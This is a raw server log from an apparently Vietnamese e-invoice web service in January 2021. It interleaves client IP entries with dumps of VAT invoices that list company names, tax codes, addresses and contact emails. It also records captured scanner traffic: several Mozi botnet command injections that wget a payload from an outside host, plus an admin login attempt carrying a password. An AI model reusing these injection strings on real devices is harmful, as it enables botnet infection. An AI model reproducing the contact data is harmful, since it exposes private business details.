2021-01-28 00:06:16.6560|INFO|EINVOICENET.WebService.ClsLog|177.47.192.79
2021-01-28 00:06:35.2000|INFO|EINVOICENET.WebService.ClsLog|115.238.65.122
2021-01-28 00:29:58.3777|INFO|EINVOICENET.WebService.ClsLog|start
2021-01-28 00:29:58.3807|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2021-01-28 00:29:58.3907|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2021-01-28 00:29:58.4008|INFO|EINVOICENET.WebService.ClsLog|128.14.209.250
2021-01-28 01:05:39.7664|INFO|EINVOICENET.WebService.ClsLog|start
2021-01-28 01:05:39.7694|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2021-01-28 01:05:39.7795|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2021-01-28 01:05:39.7895|INFO|EINVOICENET.WebService.ClsLog|13.66.139.10
2021-01-28 01:10:18.9363|INFO|EINVOICENET.WebService.ClsLog|61.74.225.75
2021-01-28 01:17:21.6861|INFO|EINVOICENET.WebService.ClsLog|39.107.229.164
2021-01-28 01:34:04.0122|INFO|EINVOICENET.WebService.ClsLog|35.196.150.168
2021-01-28 01:44:52.2719|INFO|EINVOICENET.WebService.ClsLog|34.75.90.39
2021-01-28 02:02:54.6154|INFO|EINVOICENET.WebService.ClsLog|34.75.90.39
2021-01-28 02:20:25.3172|INFO|EINVOICENET.WebService.ClsLog|167.71.175.10
2021-01-28 02:20:33.8428|INFO|EINVOICENET.WebService.ClsLog|206.189.59.178 username=admin&psd=Feefifofum
2021-01-28 02:27:58.9582|INFO|EINVOICENET.WebService.ClsLog|185.213.154.234
2021-01-28 02:56:31.9957|INFO|EINVOICENET.WebService.ClsLog|36.27.208.157
2021-01-28 02:59:04.2807|INFO|EINVOICENET.WebService.ClsLog|68.110.100.2
2021-01-28 03:40:30.8799|INFO|EINVOICENET.WebService.ClsLog|start
2021-01-28 03:40:30.8829|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2021-01-28 03:40:30.8929|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2021-01-28 03:40:30.9030|INFO|EINVOICENET.WebService.ClsLog|218.17.157.3
2021-01-28 03:40:30.9872|INFO|EINVOICENET.WebService.ClsLog|218.17.157.3
2021-01-28 03:40:31.0694|INFO|EINVOICENET.WebService.ClsLog|218.17.157.3
2021-01-28 03:42:24.9969|INFO|EINVOICENET.WebService.ClsLog|104.206.128.14
2021-01-28 04:06:06.9204|INFO|EINVOICENET.WebService.ClsLog|start
2021-01-28 04:06:06.9234|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2021-01-28 04:06:06.9334|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2021-01-28 04:06:06.9434|INFO|EINVOICENET.WebService.ClsLog|209.141.60.195
2021-01-28 04:54:03.5570|INFO|EINVOICENET.WebService.ClsLog|start
2021-01-28 04:54:03.5590|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2021-01-28 04:54:03.5700|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2021-01-28 04:54:03.5801|INFO|EINVOICENET.WebService.ClsLog|112.230.251.82 XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://112.230.251.82:21057/Mozi.m+-O+->/tmp/gpon80
2021-01-28 05:07:10.6812|INFO|EINVOICENET.WebService.ClsLog|89.248.168.108
2021-01-28 05:39:36.4701|INFO|EINVOICENET.WebService.ClsLog|start
2021-01-28 05:39:36.4731|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2021-01-28 05:39:36.4831|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2021-01-28 05:39:36.4962|INFO|EINVOICENET.WebService.ClsLog|2.194.1.62
2021-01-28 05:44:44.8883|INFO|EINVOICENET.WebService.ClsLog|5.45.207.169
2021-01-28 05:48:11.7318|INFO|EINVOICENET.WebService.ClsLog|89.248.168.108
2021-01-28 05:54:01.1585|INFO|EINVOICENET.WebService.ClsLog|83.97.20.29
2021-01-28 05:59:25.9553|INFO|EINVOICENET.WebService.ClsLog|37.46.150.7
2021-01-28 06:12:26.2548|INFO|EINVOICENET.WebService.ClsLog|42.235.159.254 XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://42.235.159.254:34606/Mozi.m+-O+->/tmp/gpon80
2021-01-28 06:46:38.4422|INFO|EINVOICENET.WebService.ClsLog|start
2021-01-28 06:46:38.4452|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2021-01-28 06:46:38.4553|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2021-01-28 06:46:38.4653|INFO|EINVOICENET.WebService.ClsLog|176.113.161.138
2021-01-28 07:05:39.0659|INFO|EINVOICENET.WebService.ClsLog|45.145.185.65
2021-01-28 07:08:32.9100|INFO|EINVOICENET.WebService.ClsLog|207.180.194.90 0x%5B%5D=ridho
2021-01-28 07:14:18.9869|INFO|EINVOICENET.WebService.ClsLog|47.99.175.177
2021-01-28 07:14:19.1193|INFO|EINVOICENET.WebService.ClsLog|47.99.175.177
2021-01-28 07:14:19.2456|INFO|EINVOICENET.WebService.ClsLog|47.99.175.177
2021-01-28 07:32:14.7190|INFO|EINVOICENET.WebService.ClsLog|45.145.185.65
2021-01-28 07:50:29.8845|INFO|EINVOICENET.WebService.ClsLog|37.46.150.7
2021-01-28 08:26:34.3711|INFO|EINVOICENET.WebService.ClsLog|start
2021-01-28 08:26:34.3731|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2021-01-28 08:26:34.3841|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2021-01-28 08:26:34.3941|INFO|EINVOICENET.WebService.ClsLog|101.71.159.82
2021-01-28 08:26:34.8092|INFO|EINVOICENET.WebService.ClsLog|101.71.159.82
2021-01-28 08:26:35.2304|INFO|EINVOICENET.WebService.ClsLog|101.71.159.82
2021-01-28 09:30:30.1939|INFO|EINVOICENET.WebService.ClsLog|start
2021-01-28 09:30:30.1969|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2021-01-28 09:30:30.2070|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2021-01-28 09:30:30.2170|INFO|EINVOICENET.WebService.ClsLog|178.62.74.6
2021-01-28 09:30:32.1150|INFO|EINVOICENET.WebService.ClsLog|178.62.74.6
2021-01-28 09:30:34.5525|INFO|EINVOICENET.WebService.ClsLog|178.62.74.6
2021-01-28 09:30:36.6269|INFO|EINVOICENET.WebService.ClsLog|178.62.74.6
2021-01-28 09:30:37.4551|INFO|EINVOICENET.WebService.ClsLog|178.62.74.6
2021-01-28 09:37:51.4427|INFO|EINVOICENET.WebService.ClsLog|14.124.232.33
2021-01-28 09:43:26.5797|INFO|EINVOICENET.WebService.ClsLog|192.168.136.91
2021-01-28 09:43:27.6525|INFO|EINVOICENET.WebService.ClsLog|192.168.136.91
290070
2900700
3190770
0
1
0
1
0
0
1
2
1450350
2900700
10
290070
2021-01-28 09:43:28.8547|INFO|EINVOICENET.WebService.ClsLog|192.168.136.91
2021-01-28 09:43:29.6298|INFO|EINVOICENET.WebService.ClsLog|192.168.136.91
486000
4860000
5346000
0
1
0
1
0
0
1
12
405000
4860000
10
486000
2021-01-28 09:44:35.8230|INFO|EINVOICENET.WebService.ClsLog|119.45.190.53
2021-01-28 10:00:22.0542|INFO|EINVOICENET.WebService.ClsLog|164.52.24.163
2021-01-28 10:16:02.8157|INFO|EINVOICENET.WebService.ClsLog|115.48.148.189 XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://115.48.148.189:33780/Mozi.m+-O+->/tmp/gpon80
2021-01-28 10:19:21.2806|INFO|EINVOICENET.WebService.ClsLog|193.32.126.233
2021-01-28 10:51:11.7438|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
2021-01-28 10:51:12.8006|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
1356910
13569100
14926010
0
1
0
1
0
0
1
1
1028500
1028500
10
102850
2
1
2528100
2528100
10
252810
3
20
43500
870000
10
87000
4
20
43500
870000
10
87000
5
5
93500
467500
10
46750
6
5
146100
730500
10
73050
7
10
146100
1461000
10
146100
8
5
146100
730500
10
73050
9
5
146100
730500
10
73050
10
25
166100
4152500
10
415250
2021-01-28 10:54:47.0235|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
2021-01-28 10:54:48.4894|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
Hóa don giá tr? gia tang
01GTKT0/001
AB/19E
2021-01-27
2021-01-27
0310510427
CÔNG TY TNHH THUONG M?I ÐI?N SÀI GÒN
43 Ðu?ng Yersin, Phu?ng C?u Ông Lãnh, Qu?n 1, Tp. H? Chí Minh, Vi?t Nam
B0949
0305093249
Công Ty TNHH K? Thu?t Bách Chi?n
8/6 Ðu?ng Gò D?u, Phu?ng Tân Son Nhì, Qu?n Tân Phú, TP. H? Chí Minh, Vi?t Nam
nguyenbao.vnn@gmail.com
750176
7501760
8251936
0
Tám tri?u, hai tram nam muoi m?t nghìn, chín tram ba muoi sáu d?ng ch?n
VND
01
1
0
1
LE
1
1
FHDA0016278
1
10
152880
1528800
10
152880
2
20
174160
3483200
10
348320
3
10
173600
1736000
10
173600
4
2
155680
311360
10
31136
5
10
44240
442400
10
44240
2021-01-28 10:54:50.1649|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
2021-01-28 10:54:51.3550|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
Hóa don giá tr? gia tang
01GTKT0/001
AB/19E
2021-01-27
2021-01-27
0310510427
CÔNG TY TNHH THUONG M?I ÐI?N SÀI GÒN
43 Ðu?ng Yersin, Phu?ng C?u Ông Lãnh, Qu?n 1, Tp. H? Chí Minh, Vi?t Nam
B0266
0305288047
Công Ty TNHH Ð?u Tu Xây D?ng Ði?n Vi?t Tru?ng
50 Ðu?ng D, Khu dô th? LAKEVIEW CITY, Nam R?ch Chi?c, Phu?ng An Phú, Qu?n 2, TP. H? Chí Minh
dong.saigonelectric@gmail.com
117102
1171020
1288122
0
M?t tri?u, hai tram tám muoi tám nghìn, m?t tram hai muoi hai d?ng ch?n
VND
01
1
0
1
LE
1
1
FHDA0016224
1
1
1171020
1171020
10
117102
2021-01-28 10:54:52.8821|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
2021-01-28 10:54:54.0913|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
Hóa don giá tr? gia tang
01GTKT0/001
AB/19E
2021-01-27
2021-01-27
0310510427
CÔNG TY TNHH THUONG M?I ÐI?N SÀI GÒN
43 Ðu?ng Yersin, Phu?ng C?u Ông Lãnh, Qu?n 1, Tp. H? Chí Minh, Vi?t Nam
B1373
0315117347
Công Ty C? Ph?n K? Thu?t Môi Tru?ng NANO
S? 190 Ðu?ng C?ng Hòa, Phu?ng 12, Qu?n Tân Bình, Thành ph? H? Chí Minh, Vi?t Nam
moitruongnano@gmail.com
512292
5122920
5635212
0
Nam tri?u, sáu tram ba muoi lam nghìn, hai tram mu?i hai d?ng ch?n
VND
01
1
0
1
LE
1
1
FHDA0016292
1
3
747040
2241120
10
224112
2
3
406000
1218000
10
121800
3
1
1663800
1663800
10
166380
2021-01-28 10:54:55.6022|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
2021-01-28 10:54:57.2997|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
Hóa don giá tr? gia tang
01GTKT0/001
AB/19E
2021-01-27
2021-01-27
0310510427
CÔNG TY TNHH THUONG M?I ÐI?N SÀI GÒN
43 Ðu?ng Yersin, Phu?ng C?u Ông Lãnh, Qu?n 1, Tp. H? Chí Minh, Vi?t Nam
B0917
0314687513
Công Ty TNHH K? Thu?t E Tech - Vina
S? 1360 Ðu?ng Vinh L?c, ?p 6, Xã Vinh L?c B, Huy?n Bình Chánh, TP. H? Chí Minh
binhvo8plus@gmail.com
167088
1670880
1837968
0
M?t tri?u, tám tram ba muoi b?y nghìn, chín tram sáu muoi tám d?ng ch?n
VND
01
1
0
1
LE
1
1
FHDA0016272
1
1
1670880
1670880
10
167088
2021-01-28 10:54:58.5781|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
2021-01-28 10:54:59.9548|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
Hóa don giá tr? gia tang
01GTKT0/001
AB/19E
2021-01-28
2021-01-28
0310510427
CÔNG TY TNHH THUONG M?I ÐI?N SÀI GÒN
43 Ðu?ng Yersin, Phu?ng C?u Ông Lãnh, Qu?n 1, Tp. H? Chí Minh, Vi?t Nam
B1894
4201919552
CÔNG TY TNHH MAI ANH THU
80 Bùi Xuân Phái, Hòn R?, Xã Phu?c Ð?ng, Thành ph? Nha Trang, T?nh Khánh Hòa, Vi?t Nam
maianh270820@gmail.com
3658000
36580000
40238000
0
B?n muoi tri?u, hai tram ba muoi tám nghìn d?ng ch?n
VND
01
1
0
1
LE
1
1
FHDA0016301
1
1
32940000
32940000
10
3294000
2
1
3640000
3640000
10
364000
2021-01-28 10:55:01.4026|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
2021-01-28 10:55:02.9196|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
Hóa don giá tr? gia tang
01GTKT0/001
AB/19E
2021-01-28
2021-01-28
0310510427
CÔNG TY TNHH THUONG M?I ÐI?N SÀI GÒN
43 Ðu?ng Yersin, Phu?ng C?u Ông Lãnh, Qu?n 1, Tp. H? Chí Minh, Vi?t Nam
B0156
0303167992
Công Ty C? Ph?n T? Ð?ng Công Nghi?p OMINA
38/15/8 C?ng L?, Phu?ng 15, Qu?n Tân Bình, TP.HCM
lethicamhong@omina.com.vn
1287000
12870000
14157000
0
Mu?i b?n tri?u, m?t tram nam muoi b?y nghìn d?ng ch?n
VND
01
1
0
1
LE
1
1
FHDA0016172
1
47
43500
2044500
10
204450
2
15
43500
652500
10
65250
3
20
43500
870000
10
87000
4
6
93000
558000
10
55800
5
17
93000
1581000
10
158100
6
24
93000
2232000
10
223200
7
2
96100
192200
10
19220
8
1
166100
166100
10
16610
9
10
175000
1750000
10
175000
10
5
166100
830500
10
83050
11
10
166100
1661000
10
166100
12
2
166100
332200
10
33220
2021-01-28 10:55:04.5820|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
2021-01-28 10:55:05.9246|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
Hóa don giá tr? gia tang
01GTKT0/001
AB/19E
2021-01-28
2021-01-28
0310510427
CÔNG TY TNHH THUONG M?I ÐI?N SÀI GÒN
43 Ðu?ng Yersin, Phu?ng C?u Ông Lãnh, Qu?n 1, Tp. H? Chí Minh, Vi?t Nam
B1043
3603511923
Công Ty TNHH V?t Tu M?nh Phát
1937A, T? 1, Khu Ph? Huong Phu?c, Phu?ng Phu?c Tân, Thành ph? Biên Hoà, T?nh Ð?ng Nai.
vattumanhphat@gmail.com
120000
1200000
1320000
0
M?t tri?u, ba tram hai muoi nghìn d?ng ch?n
VND
01
1
0
1
LE
1
1
FHDA0016302
1
20
60000
1200000
10
120000
2021-01-28 10:55:07.0766|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
2021-01-28 10:55:08.2788|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
Hóa don giá tr? gia tang
01GTKT0/001
AB/19E
2021-01-28
2021-01-28
0310510427
CÔNG TY TNHH THUONG M?I ÐI?N SÀI GÒN
43 Ðu?ng Yersin, Phu?ng C?u Ông Lãnh, Qu?n 1, Tp. H? Chí Minh, Vi?t Nam
M0159
0309576550
Công Ty Trách Nhi?m H?u H?n Thuong M?i D?ch V? K? Thu?t Ði?n Thiên Thành
25 Tr?n Tu?ng Công, Phu?ng 10, Qu?n 5, TP.HCM
hoadontt2019@gmail.com
1276000
12760000
14036000
0
Mu?i b?n tri?u, không tram ba muoi sáu nghìn d?ng ch?n
VND
01
1
0
1
LE
1
1
FHDA0016303
1
1
12760000
12760000
10
1276000
2021-01-28 10:55:09.6645|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
2021-01-28 10:55:10.8586|INFO|EINVOICENET.WebService.ClsLog|89.248.168.108
2021-01-28 10:55:10.9078|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
Hóa don giá tr? gia tang
01GTKT0/001
AB/19E
2021-01-28
2021-01-28
0310510427
CÔNG TY TNHH THUONG M?I ÐI?N SÀI GÒN
43 Ðu?ng Yersin, Phu?ng C?u Ông Lãnh, Qu?n 1, Tp. H? Chí Minh, Vi?t Nam
B0668
3600719578
Công Ty TNHH Thuong M?i D?ch V? Nguyên Nguyên
S? 72/1, Ph?m Van Thu?n, KP 1, Phu?ng Bình Ða, Thành ph? Biên Hoà, T?nh Ð?ng Nai
ketoan.hd@nguyennguyenco.com
87010
870100
957110
0
Chín tram nam muoi b?y nghìn, m?t tram mu?i d?ng ch?n
VND
01
1
0
1
LE
1
1
FHDA0016304
1
3
97900
293700
10
29370
2
5
43450
217250
10
21725
3
1
264000
264000
10
26400
4
1
95150
95150
10
9515
2021-01-28 10:55:12.0718|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
2021-01-28 10:55:13.1357|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
Hóa don giá tr? gia tang
01GTKT0/001
AB/19E
2021-01-28
2021-01-28
0310510427
CÔNG TY TNHH THUONG M?I ÐI?N SÀI GÒN
43 Ðu?ng Yersin, Phu?ng C?u Ông Lãnh, Qu?n 1, Tp. H? Chí Minh, Vi?t Nam
B0323
0313094013
Công Ty TNHH K? Thu?t Công Ngh? BTC
81/12/3 Ðu?ng s? 2, Khu Ph? 8, Phu?ng Tru?ng Th?, Qu?n Th? Ð?c,TP.H? Chí Minh
btc.hoadon@gmail.com
68400
684000
752400
0
B?y tram nam muoi hai nghìn, b?n tram d?ng ch?n
VND
01
1
0
1
LE
1
1
FHDA0016305
1
1
684000
684000
10
68400
2021-01-28 10:55:14.2727|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
2021-01-28 10:55:15.5240|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
Hóa don giá tr? gia tang
01GTKT0/001
AB/19E
2021-01-28
2021-01-28
0310510427
CÔNG TY TNHH THUONG M?I ÐI?N SÀI GÒN
43 Ðu?ng Yersin, Phu?ng C?u Ông Lãnh, Qu?n 1, Tp. H? Chí Minh, Vi?t Nam
B1905
0311701512
Công Ty C? Ph?n D?ch V? Thuong M?i Thi?t B? Bách Vi?t
S? 16 Ðu?ng S? 2 KDC Thanh Nh?t, Phu?ng 16, Qu?n 8, TP H? Chí Minh
purchasing@bkvina.com
139316
1393160
1532476
0
M?t tri?u, nam tram ba muoi hai nghìn, b?n tram b?y muoi sáu d?ng ch?n
VND
01
1
0
1
LE
1
1
FHDA0016306
1
2
513300
1026600
10
102660
2
8
45820
366560
10
36656
2021-01-28 10:55:50.8745|INFO|EINVOICENET.WebService.ClsLog|113.4.143.212
2021-01-28 10:56:59.8170|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
2021-01-28 10:57:01.2017|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
233415
2334150
2567565
0
1
0
1
0
0
1
1
1102950
1102950
10
110295
2
3
410400
1231200
10
123120
2021-01-28 11:02:23.8165|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
2021-01-28 11:02:25.0006|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
Hóa don giá tr? gia tang
01GTKT0/001
AA/20E
2021-01-27
2021-01-27
0312863386
CÔNG TY TNHH THUONG M?I ÐI?N MI?N NAM
370/46 Võ Van Ki?t, Phu?ng Cô Giang, Qu?n 1, Thành ph? H? Chí Minh, Vi?t Nam
B3710
3901282179
Công Ty TNHH MTV Ði?n Công Nghi?p Phát Ð?t
S? 12/1, H?m s? 6, T? 13, Ðu?ng Nguy?n Chí Thanh, KP 6, Phu?ng 3, TP. Tây Ninh, T. Tây Ninh
trantuan.lh@gmail.com,truong.diensaigon@gmail.com
1363650
13636500
15000150
0
Mu?i lam tri?u, m?t tram nam muoi d?ng ch?n
VND
01
1
0
1
LE
1
1
KHDA0017746
1
3
4545500
13636500
10
1363650
2021-01-28 11:02:27.0681|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
2021-01-28 11:02:28.2242|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
Hóa don giá tr? gia tang
01GTKT0/001
AA/20E
2021-01-27
2021-01-27
0312863386
CÔNG TY TNHH THUONG M?I ÐI?N MI?N NAM
370/46 Võ Van Ki?t, Phu?ng Cô Giang, Qu?n 1, Thành ph? H? Chí Minh, Vi?t Nam
B2614
0305093249
Công Ty TNHH K? Thu?t Bách Chi?n
8/6 Ðu?ng Gò D?u, Phu?ng Tân Son Nhì, Qu?n Tân Phú, TP. H? Chí Minh, Vi?t Nam
nguyenbao.vnn@gmail.com
336377
3363768
3700145
0
Ba tri?u, b?y tram nghìn, m?t tram b?n muoi lam d?ng ch?n
VND
01
1
0
1
LE
1
1
KHDA0017734
1
10
70262
702620
10
70262
2
12
21414
256968
10
25697
3
10
146591
1465910
10
146591
4
8
22000
176000
10
17600
5
30
12000
360000
10
36000
6
10
40227
402270
10
40227
2021-01-28 11:02:30.0299|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
2021-01-28 11:02:31.3996|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
Hóa don giá tr? gia tang
01GTKT0/001
AA/20E
2021-01-27
2021-01-27
0312863386
CÔNG TY TNHH THUONG M?I ÐI?N MI?N NAM
370/46 Võ Van Ki?t, Phu?ng Cô Giang, Qu?n 1, Thành ph? H? Chí Minh, Vi?t Nam
B3129
0315117347
Công Ty C? Ph?n K? Thu?t Môi Tru?ng NANO
S? 190 Ðu?ng C?ng Hòa, Phu?ng 12, Qu?n Tân Bình, Thành ph? H? Chí Minh, Vi?t Nam
moitruongnano@gmail.com
82455
824545
907000
0
Chín tram linh b?y nghìn d?ng ch?n
VND
01
1
0
1
LE
1
1
KHDA0017743
1
1
35200
35200
10
3520
2
4
39050
156200
10
15620
3
1
35200
35200
10
3520
4
3
35750
107250
10
10725
5
10
46500
465000
10
46500
6
1
25695
25695
10
2570
2021-01-28 11:02:33.0269|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
2021-01-28 11:02:34.1208|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
Hóa don giá tr? gia tang
01GTKT0/001
AA/20E
2021-01-27
2021-01-27
0312863386
CÔNG TY TNHH THUONG M?I ÐI?N MI?N NAM
370/46 Võ Van Ki?t, Phu?ng Cô Giang, Qu?n 1, Thành ph? H? Chí Minh, Vi?t Nam
B2017
4000379868
Công Ty Trách Nhi?m H?u H?n Son Uyên
S? 14 Phan Chu Trinh, Phu?ng An M? , Thành Ph? Tam K?, T?nh Qu?ng Nam, Vi?t Nam
sonuyen2009@gmail.com
570236
5702364
6272600
0
Sáu tri?u, hai tram b?y muoi hai nghìn, sáu tram d?ng ch?n
VND
01
1
0
1
LE
1
1
KHDA0017748
1
2
2851182
5702364
10
570236
2021-01-28 11:02:35.4052|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
2021-01-28 11:02:36.6625|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
Hóa don giá tr? gia tang
01GTKT0/001
AA/20E
2021-01-27
2021-01-27
0312863386
CÔNG TY TNHH THUONG M?I ÐI?N MI?N NAM
370/46 Võ Van Ki?t, Phu?ng Cô Giang, Qu?n 1, Thành ph? H? Chí Minh, Vi?t Nam
B0307
3400181691
Công Ty C? Ph?n R?ng Ðông
J45 Ðu?ng Tôn Ð?c Th?ng , Phu?ng Xuân An, Thành Ph? Phan Thi?t, T?nh Bình Thu?n
leketoansge@gmail.com
114316
1143162
1257478
0
M?t tri?u, hai tram nam muoi b?y nghìn, b?n tram b?y muoi tám d?ng ch?n
VND
01
1
0
1
LE
1
1
KHDA0017731
1
2
571581
1143162
10
114316
2021-01-28 11:09:14.3410|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
2021-01-28 11:09:15.8239|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
Hóa don giá tr? gia tang
01GTKT0/001
AA/20E
2021-01-27
2021-01-27
0312863386
CÔNG TY TNHH THUONG M?I ÐI?N MI?N NAM
370/46 Võ Van Ki?t, Phu?ng Cô Giang, Qu?n 1, Thành ph? H? Chí Minh, Vi?t Nam
B1068
0401542585
Công Ty TNHH M?t Thành Viên Mai T?n Dung
95 Lê Ð?, Phu?ng Chinh Gián, Qu?n Thanh Khê, Thành Ph? Ðà N?ng, Vi?t Nam
maikieu82qn@gmail.com
289170
2891700
3180870
0
Ba tri?u, m?t tram tám muoi nghìn, tám tram b?y muoi d?ng ch?n
VND
01
1
0
1
LE
1
1
KHDA0017749
1
1
2891700
2891700
10
289170
2021-01-28 11:09:17.9836|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
2021-01-28 11:09:19.2660|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
Hóa don giá tr? gia tang
01GTKT0/001
AA/20E
2021-01-27
2021-01-27
0312863386
CÔNG TY TNHH THUONG M?I ÐI?N MI?N NAM
370/46 Võ Van Ki?t, Phu?ng Cô Giang, Qu?n 1, Thành ph? H? Chí Minh, Vi?t Nam
B1733
5901035060
Công Ty TNHH Thuong M?i Và K? Thu?t Tr?n Quang Trung
489 Tru?ng Chinh, phu?ng Chi Lang, TP Pleiku, T?nh Gia Lai.
ngoctrung553@gmail.com
93090
930900
1023990
0
M?t tri?u, không tram hai muoi ba nghìn, chín tram chín muoi d?ng ch?n
VND
01
1
0
1
LE
1
1
KHDA0017750
1
3
310300
930900
10
93090
2021-01-28 11:09:20.4431|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
2021-01-28 11:09:21.8168|INFO|EINVOICENET.WebService.ClsLog|192.168.136.55
Hóa don giá tr? gia tang
01GTKT0/001
AA/20E
2021-01-27
2021-01-27
0312863386
CÔNG TY TNHH THUONG M?I ÐI?N MI?N NAM
370/46 Võ Van Ki?t, Phu?ng Cô Giang, Qu?n 1, Thành ph? H? Chí Minh, Vi?t Nam
B3488
0308928143
Công Ty TNHH S?n Xu?t - Thuong M?i Hoa Sen Tr?ng
Khu v?c T? 8, Ðu?ng Vu?n Thu?c, ?p Cây Da, Xã Tân Phú Trung, Huy?n C? Chi, TP H? Chí Minh
hieuckm04@gmail.com
271359
2713587
2984946
0
Hai tri?u, chín tram tám muoi b?n nghìn, chín tram b?n muoi sáu d?ng ch?n
VND
01
1
0
1
LE
1
1
KHDA0017740
1
10
40091
400910
10
40091
2
5
57273
286365
10
28637
3
4
57273
229092
10
22909
4
4
94500
378000
10
37800
5
4
75600
302400
10
30240
6
10
64718
647180
10
64718
7
10
46964
469640
10
46964
